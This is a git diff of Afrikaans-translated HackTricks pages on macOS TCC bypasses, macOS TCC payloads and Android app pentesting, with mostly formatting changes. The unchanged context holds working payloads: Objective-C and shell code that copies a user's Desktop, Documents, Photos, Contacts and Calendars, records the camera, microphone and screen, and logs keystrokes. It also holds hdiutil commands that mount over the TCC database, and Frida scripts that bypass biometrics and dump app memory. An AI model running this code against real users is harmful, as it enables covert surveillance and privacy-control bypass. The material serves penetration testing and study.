|
||||
|
||||
Dit is moontlik om **`open`** selfs te roep terwyl jy in 'n sandboks is
|
||||
|
@ -402,6 +419,7 @@ Dit is moontlik om **`open`** selfs te roep terwyl jy in 'n sandboks is
|
|||
Dit is redelik algemeen om die terminale **Volle Skyftoegang (FDA)** te gee, ten minste in rekenaars wat deur tegniese mense gebruik word. En dit is moontlik om **`.terminal`** skripte te roep deur dit te gebruik.
|
||||
|
||||
**`.terminal`** skripte is plist lêers soos hierdie een met die bevel om uit te voer in die **`CommandString`** sleutel:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -419,7 +437,9 @@ Dit is redelik algemeen om die terminale **Volle Skyftoegang (FDA)** te gee, ten
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
'n Toepassing kan 'n terminaalskrip skryf op 'n plek soos /tmp en dit lanceer met 'n opdrag soos:'
|
||||
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -430,6 +450,7 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
|||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
|
||||
## Deur te koppel
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC omseiling en voorreg-escalatie
|
||||
|
@ -464,6 +485,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
### CVE-2021-1784 & CVE-2021-30808 - Monteer oor TCC-lêer
|
||||
|
||||
Selfs as die TCC DB-lêer beskerm is, was dit moontlik om **oor die gids te monteer** 'n nuwe TCC.db-lêer:
|
||||
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
|
@ -473,7 +495,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
|
|||
## Mount over ~/Library
|
||||
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```python
|
||||
# This was the python function to create the dmg
|
||||
def create_dmg():
|
||||
|
@ -484,6 +506,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
|||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
|
||||
Kyk na die **volledige uitbuiting** in die [**oorspronklike skryfstuk**](https://theevilbit.github.io/posts/cve-2021-30808/).
|
||||
|
||||
### asr
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS TCC-pakette
|
||||
# macOS TCC Payloads
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
@ -22,6 +22,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
{% tabs %}
|
||||
{% tab title="Objective-C" %}
|
||||
Kopieer `$HOME/Desktop` na `/tmp/desktop`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -57,6 +58,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Desktop` na `/tmp/desktop`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -71,6 +73,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Documents` na `/tmp/documents`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -106,6 +109,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/`Documents na `/tmp/documents`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -118,8 +122,11 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
{% tab title="undefined" %}
|
||||
Kopieer `$HOME/Downloads` na `/tmp/downloads`.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -151,8 +158,11 @@ NSLog(@"Copy completed successfully.", error);
|
|||
fclose(stderr); // Close the file stream
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Dowloads` na `/tmp/downloads`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
|
@ -167,6 +177,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
|||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -202,6 +213,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -216,6 +228,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -251,6 +264,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -265,6 +279,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -300,12 +315,15 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Opne" %}
|
||||
Neem 'n 3s video op en stoor dit in **`/tmp/recording.mov`**
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -385,6 +403,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="ObjectiveC - Kontroleer" %}
|
||||
Kontroleer of die program toegang het tot die kamera.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -418,13 +437,14 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Neem 'n foto met die kamera
|
||||
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Mikrofoon
|
||||
#### Mikrofoon
|
||||
|
||||
* **Toestemming**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
@ -432,6 +452,7 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC - Opneem" %}
|
||||
Neem 5 sekondes van klank op en stoor dit in `/tmp/recording.m4a`
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -532,6 +553,7 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="ObjectiveC - Kontroleer" %}
|
||||
Kontroleer of die app toegang het tot die mikrofoon.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -563,6 +585,7 @@ static void telegram(int argc, const char **argv) {
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Neem 'n 5s klank op en stoor dit in `/tmp/recording.wav`
|
||||
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -572,7 +595,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Ligging
|
||||
#### Ligging
|
||||
|
||||
{% hint style="success" %}
|
||||
Om die ligging te kry, moet **Liggingdienste** (vanaf Privaatheid & Sekuriteit) **geaktiveer wees,** anders sal dit nie toegang daartoe hê nie.
|
||||
|
@ -584,6 +607,7 @@ Om die ligging te kry, moet **Liggingdienste** (vanaf Privaatheid & Sekuriteit)
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Skryf die ligging in `/tmp/logs.txt`
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -634,13 +658,14 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kry toegang tot die ligging
|
||||
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Skermopname
|
||||
#### Skermopname
|
||||
|
||||
* **Toegekende regte**: Geen
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
@ -648,6 +673,7 @@ Kry toegang tot die ligging
|
|||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Neem die hoofskerm vir 5 sekondes op in `/tmp/screen.mov`
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -705,18 +731,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Neem die hoofskerm vir 5 sekondes op
|
||||
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Toeganklikheid
|
||||
#### Toeganklikheid
|
||||
|
||||
* **Voorreg**: Geen
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Gebruik die TCC-voorreg om die beheer van Finder se druk op enter te aanvaar en sodoende TCC te omseil.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -771,6 +799,7 @@ return 0;
|
|||
|
||||
{% tab title="Sleutellogger" %}
|
||||
Berg die gedrukte sleutels op in **`/tmp/keystrokes.txt`**
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -890,7 +919,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Android-toepassingspentesting
|
||||
# Android Applications Pentesting
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -54,6 +54,7 @@ Dit is soms interessant om die toepassingskode te **verander om toegang te verkr
|
|||
* [Spoofing jou ligging in Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Laai APK's af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* Haal APK uit toestel:
|
||||
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
|
@ -63,6 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
|
||||
## Statische Analise
|
||||
|
||||
Eerstens, vir die analise van 'n APK moet jy **'n kykie neem na die Java-kode** deur 'n decompiler te gebruik.\
|
||||
|
@ -78,7 +80,7 @@ Betaal spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer i
|
|||
|
||||
### Basiese begrip van die aansoek - Manifest.xml, strings.xml
|
||||
|
||||
Die **ondersoek van 'n aansoek se **_**Manifest.xml**_** en **_**strings.xml**_** lêers kan potensiële sekuriteitskwessies aan die lig bring**. Hierdie lêers kan benader word deur decompilers of deur die APK-lêernaamuitbreiding na .zip te verander en dit dan uit te pak.
|
||||
Die **ondersoek van 'n aansoek se \_Manifest.xml**_\*\* en \*\*_**strings.xml**\_\*\* lêers kan potensiële sekuriteitskwessies aan die lig bring\*\*. Hierdie lêers kan benader word deur decompilers of deur die APK-lêernaamuitbreiding na .zip te verander en dit dan uit te pak.
|
||||
|
||||
**Kwessies** wat geïdentifiseer word vanuit die **Manifest.xml** sluit in:
|
||||
|
||||
|
@ -120,8 +122,11 @@ Meer inligting in:
|
|||
In Android is lêers wat in **interne** opberging **gestoor** word, **ontwerp** om eksklusief deur die **toepassing** wat dit **geskep** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is gewoonlik voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Ontwikkelaars gebruik egter soms modusse soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers toe te laat om tussen verskillende toepassings gedeel te word. Tog **beperk hierdie modusse nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend moontlik boosaardige eenhede.
|
||||
|
||||
1. **Statische Analise:**
|
||||
|
||||
* **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **sorgvuldig ondersoek** word. Hierdie modusse **kan potensieel lêers blootstel aan** onbedoelde of ongemagtigde toegang.
|
||||
|
||||
2. **Dinamiese Analise:**
|
||||
|
||||
* **Verifieer** die **toestemmings** wat op lêers geskep deur die toepassing ingestel is. Spesifiek, **kontroleer** of enige lêers **ingestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om hierdie lêers te **lees of te wysig**.
|
||||
|
||||
**Eksterne Opberging**
|
||||
|
@ -129,11 +134,16 @@ In Android is lêers wat in **interne** opberging **gestoor** word, **ontwerp**
|
|||
Wanneer daar met lêers op **eksterne opberging**, soos SD-kaarte, gehandel word, moet sekere voorbehoudsmaatreëls getref word:
|
||||
|
||||
1. **Toeganklikheid**:
|
||||
|
||||
* Lêers op eksterne opberging is **wêreldwyd leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan by hierdie lêers kom.
|
||||
|
||||
2. **Sekuriteitskwessies**:
|
||||
|
||||
* Gegewe die maklikheid van toegang, word dit aanbeveel om **nie sensitiewe inligting** op eksterne opberging te stoor nie.
|
||||
* Eksterne opberging kan verwyder of deur enige toepassing benader word, wat dit minder veilig maak.
|
||||
|
||||
3. **Hantering van Data van Eksterne Opberging**:
|
||||
|
||||
* Voer altyd **insetvalidering** uit op data wat van eksterne opberging herwin word. Dit is krities omdat die data van 'n onbetroubare bron afkomstig is.
|
||||
* Dit word sterk afgeraai om uitvoerbare lêers of klaslêers op eksterne opberging vir dinamiese laai te stoor.
|
||||
* As jou toepassing uitvoerbare lêers van eksterne opberging moet herwin, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** word voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik vir die handhawing van die sekuriteitsintegriteit van jou toepassing.
|
||||
|
@ -154,10 +164,12 @@ Van Android 4.4 (**API 17**) af, het die SD-kaart 'n gidsstruktuur wat **toegang
|
|||
**Aanvaar Alle Sertifikate**
|
||||
|
||||
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met reëls van kode soos die volgende:
|
||||
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
|
||||
### Gebroke Kriptografie
|
||||
|
||||
**Swak Sleutelbestuursprosesse**
|
||||
|
@ -262,7 +274,7 @@ Dankie aan die ADB-koppeling kan jy **Drozer** en **Frida** binne die emuleerder
|
|||
|
||||
#### Deur 'n emuleerder te gebruik
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens **hierdie** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**nuutste x86** weergawes **ondersteun ARM-biblioteke** sonder 'n stadige arm-emuleerder nodig te hê).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens **hierdie** ]\(https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**nuutste x86** weergawes **ondersteun ARM-biblioteke** sonder 'n stadige arm-emuleerder nodig te hê).
|
||||
* Leer om dit op te stel op hierdie bladsy:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -281,6 +293,7 @@ Om **Google-dienste** (soos AppStore) in Genymotion te installeer, moet jy op di
|
|||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Let ook daarop dat in die **konfigurasie van die Android VM in Genymotion** jy **Bridge Network mode** kan kies (dit sal nuttig wees as jy die Android VM vanaf 'n ander VM met die gereedskap verbind).
|
||||
|
||||
#### Gebruik 'n fisiese toestel
|
||||
|
||||
Jy moet die **afdeling vir foutopsporing** aktiveer en dit sal goed wees as jy dit kan **root**:
|
||||
|
@ -300,7 +313,7 @@ Jy moet die **afdeling vir foutopsporing** aktiveer en dit sal goed wees as jy d
|
|||
|
||||
Ontwikkelaars moet versigtig wees om **foutopsporingsinligting** openlik bloot te stel, aangesien dit tot gevoelige datalekke kan lei. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel vir die monitor van aansoeklogs om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
|
||||
|
||||
{% hint style="waarskuwing" %}
|
||||
{% hint style="info" %}
|
||||
Let daarop dat van **later nuwer as Android 4.0**, **kan aansoeke slegs toegang hê tot hul eie logs**. So aansoeke kan nie toegang verkry tot ander aansoeke se logs nie.\
|
||||
In elk geval word dit steeds aanbeveel om **nie sensitiewe inligting te log nie**.
|
||||
{% endhint %}
|
||||
|
@ -335,22 +348,24 @@ Drozer is 'n nuttige gereedskap om **uitgevoerde aktiwiteite, uitgevoerde dienst
|
|||
|
||||
### Uitbuiting van uitgevoerde Aktiwiteite
|
||||
|
||||
[**Lees hierdie as jy wil verfris wat 'n Android-aktiwiteit is.**](android-aansoeke-grondbeginsels.md#aanloop-aktiwiteit-en-ander-aktiwiteite)\
|
||||
[**Lees hierdie as jy wil verfris wat 'n Android-aktiwiteit is.**](https://github.com/carlospolop/hacktricks/blob/af/mobile-pentesting/android-app-pentesting/android-aansoeke-grondbeginsels.md#aanloop-aktiwiteit-en-ander-aktiwiteite)\
|
||||
Onthou ook dat die kode van 'n aktiwiteit begin in die **`onSkep`**-metode.
|
||||
|
||||
**Outorisasie-omleiding**
|
||||
|
||||
Wanneer 'n Aktiwiteit uitgevoer word, kan jy sy skerm vanaf 'n eksterne aansoek aanroep. Daarom, as 'n aktiwiteit met **gevoelige inligting** **uitgevoer** word, kan jy die **outentiseringsmeganismes omseil** om dit te **benader**.
|
||||
|
||||
[**Leer hoe om uitgevoerde aktiwiteite met Drozer uit te buit.**](drozer-tutoriaal/#aktiwiteite)
|
||||
[**Leer hoe om uitgevoerde aktiwiteite met Drozer uit te buit.**](https://github.com/carlospolop/hacktricks/blob/af/mobile-pentesting/android-app-pentesting/drozer-tutoriaal/README.md#aktiwiteite)
|
||||
|
||||
Jy kan ook 'n uitgevoerde aktiwiteit vanaf adb begin:
|
||||
|
||||
* Pakketnaam is com.example.demo
|
||||
* Uitgevoerde Aktiwiteitnaam is com.example.test.MainActivity
|
||||
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
||||
**NOTA**: MobSF sal as skadelik beskou die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n aktiwiteit, maar as gevolg van [hierdie](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), blyk dit dat dit slegs gevaarlik is op ou weergawes (API weergawes < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -399,7 +414,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Merk op dat jy die pakketnaam kan **weglaat** en die mobiele toestel sal outomaties die program oproep wat die skakel behoort te open._
|
||||
_Merk op dat jy die pakketnaam kan **weglaat** en die mobiele toestel sal outomaties die program oproep wat die skakel behoort te open._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -480,6 +495,7 @@ As jy Android-toepassings wil pentest, moet jy weet hoe om Frida te gebruik.
|
|||
Kyk of die toepassing sensitiewe inligting binne die geheue stoor wat dit nie behoort te stoor nie, soos wagwoorde of mnemoniese woorde.
|
||||
|
||||
Met [**Fridump3**](https://github.com/rootbsd/fridump3) kan jy die geheue van die app aflaai met:
|
||||
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
|
@ -488,11 +504,12 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
|
||||
Dit sal die geheue in die ./dump vouer dump, en daar kan jy grep met iets soos:
|
||||
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Sensitiewe data in Keystore**
|
||||
|
||||
|
@ -501,16 +518,18 @@ In Android is die Keystore die beste plek om sensitiewe data te stoor, maar met
|
|||
Selfs as 'n program data in die keystore stoor, moet die data versleutel word.
|
||||
|
||||
Om die data binne die keystore te benader, kan jy hierdie Frida-skrip gebruik: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
|
||||
### **Vingerafdruk/Biometriese Omgang**
|
||||
|
||||
Deur die volgende Frida-skrip te gebruik, kan dit moontlik wees om **vingerafdruk-verifikasie** wat Android-toepassings mag uitvoer om **sekere sensitiewe areas te beskerm,** te **omseil:**
|
||||
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Agtergrondbeelde**
|
||||
|
||||
|
@ -521,9 +540,11 @@ Indien hierdie momentopname **sensitiewe inligting** bevat, kan iemand met toega
|
|||
Die momentopnames word gewoonlik gestoor rondom: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android bied 'n manier om **die skermafbeelding vas te vang deur die FLAG\_SECURE** uitlegparameter in te stel. Deur hierdie vlag te gebruik, word die vensterinhoud as veilig beskou, wat voorkom dat dit in skermafbeeldings verskyn of op nie-veilige vertonings besigtig kan word.
|
||||
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
||||
### **Android-toepassingontleder**
|
||||
|
||||
Hierdie instrument kan jou help om verskillende gereedskap tydens die dinamiese analise te bestuur: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
@ -566,7 +587,7 @@ Bly op hoogte van die vinnige hackwêreld deur middel van werklike nuus en insig
|
|||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
Sluit aan by ons op [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
Sluit aan by ons op [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
## Outomatiese Analise
|
||||
|
||||
|
@ -577,10 +598,12 @@ Sluit aan by ons op [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begi
|
|||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Kwesbaarheidsassessering van die aansoek** deur 'n aangename webgebaseerde voorkant. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei).
|
||||
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
|
||||
Let daarop dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) programme kan analiseer (_Windows programme moet geanaliseer word vanaf 'n Windows gasheer waarop MobSF geïnstalleer is_).\
|
||||
Indien jy 'n **ZIP**-lêer skep met die bronkode van 'n **Android** of 'n **IOS**-toep (gaan na die hoofmap van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
|
||||
|
||||
|
@ -621,6 +644,7 @@ Sodra jy die hulpmodule wat jy wil gebruik gekies het, moet jy op "**Begin Instr
|
|||
**Shell**
|
||||
|
||||
Mobsf bring ook 'n skaal met 'n paar **adb**-opdragte, **MobSF-opdragte**, en algemene **skaalopdragte** onder aan die dinamiese analisepagina. Sommige interessante opdragte:
|
||||
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -629,15 +653,17 @@ exported_activities
|
|||
services
|
||||
receivers
|
||||
```
|
||||
|
||||
**HTTP-gereedskap**
|
||||
|
||||
